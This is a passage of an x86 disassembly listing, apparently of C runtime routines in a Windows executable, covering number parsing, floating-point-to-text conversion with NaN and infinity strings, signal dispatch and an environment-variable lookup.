					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C

loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0

loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3

loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------

loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------

loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]

loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_4397B0
		jnz	short loc_4216CD

loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686

loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------

loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------

loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------

loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------

loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------

loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------

loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E

loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E

loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------

loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8

loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------

loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------

loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777

loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9

loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax

loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------

loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E

loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7

loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------

loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi

loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------

loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------

loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h

loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi

loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------

loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------

loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------

loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx

loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]

loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------

loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]

loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E

loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------

loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax

loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]

loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]

loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1

loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------

loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------

loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h

loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35

loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------

loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D

loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------

loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------

loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"

loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------

loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------

loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx

loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------

loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]

loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi

loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A

loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D

loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx

loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]

loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14

loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------

loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB

loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]

loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]

loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------

loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD

loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_48A2EC
		mov	eax, offset dword_48A2EC

loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6

loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD

loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_48A0C8
		and	dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_43BC1C
		mov	dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------

loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]

loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_43BC10
		mov	ecx, dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]

loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------

loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41

loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------

loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62

loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_43BC1C, eax

loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx

loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B

loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD

loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_48A03C
		test	esi, esi
		jz	short loc_421E25

loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax

loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D

loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------

loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
